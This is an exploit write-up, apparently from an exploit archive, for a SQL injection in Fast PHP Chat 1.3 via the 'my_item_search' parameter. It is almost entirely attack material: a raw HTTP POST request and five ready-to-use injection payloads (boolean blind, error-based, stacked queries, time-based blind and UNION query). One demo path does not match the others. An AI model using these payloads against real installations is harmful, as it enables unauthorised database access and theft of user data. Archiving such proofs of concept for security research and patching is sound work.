Share 
## https://sploitus.com/exploit?id=PACKETSTORM:162257
# Exploit Title: Fast PHP Chat 1.3 - 'my_item_search' SQL Injection  
# Date: 15/04/2021  
# Exploit Author: Fatih Coskun  
# Vendor Homepage: https://codecanyon.net/item/fast-php-chat-responsive-live-ajax-chat/10721076  
# Version: 1.3  
# Category: Webapps  
# Tested on: Kali linux  
# Description : The vulnerability allows an attacker to inject sql commands from search section with 'my_item_search' parameter.  
====================================================  
  
# PoC : SQLi :  
  
POST /chat/edit.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101  
Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://localhost/chat/edit.php  
Cookie: PHPSESSID=9a04fe702b8ff82c1199590d7c286e1c;  
_ga=GA1.2.1275939122.1527132107; _gid=GA1.2.1709883568.1527132107  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 40  
my_item_search=test&submit_search=Search  
  
  
Parameter : my_item_search  
  
Type : boolean-based blind  
Demo : https://localhost/chat/edit.php  
Payload : my_item_search=-2454' OR 6122=6122#&submit=Search  
  
Type : error-based  
Demo : https://localhost/chat/edit.php  
Payload : my_item_search=test' AND (SELECT 3274 FROM(SELECT  
COUNT(*),CONCAT(0x71706a7071,(SELECT  
(ELT(3274=3274,1))),0x7162716b71,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- hbeW&submit=Search  
  
Type : stacked queries  
Demo : https://localhost/chat/edit.php  
Payload : my_item_search=test';SELECT SLEEP(5)#&submit=Search  
  
Type : AND/OR time-based blind  
Demo : https://localhost/login-script-demo/users.php  
Payload : my_item_search=test' OR SLEEP(5)-- mlod&submit=Search  
  
Type : UNION query  
Demo : https://localhost/chat/edit.php  
Payload : my_item_search=test' UNION ALL SELECT  
NULL,CONCAT(0x71706a7071,0x4c5a6241667667676e4f6658775348795675704b557871675a5542646273574e5359776668534a71,0x7162716b71),NULL,NULL,NULL,NULL#&submit=Search  
  
====================================================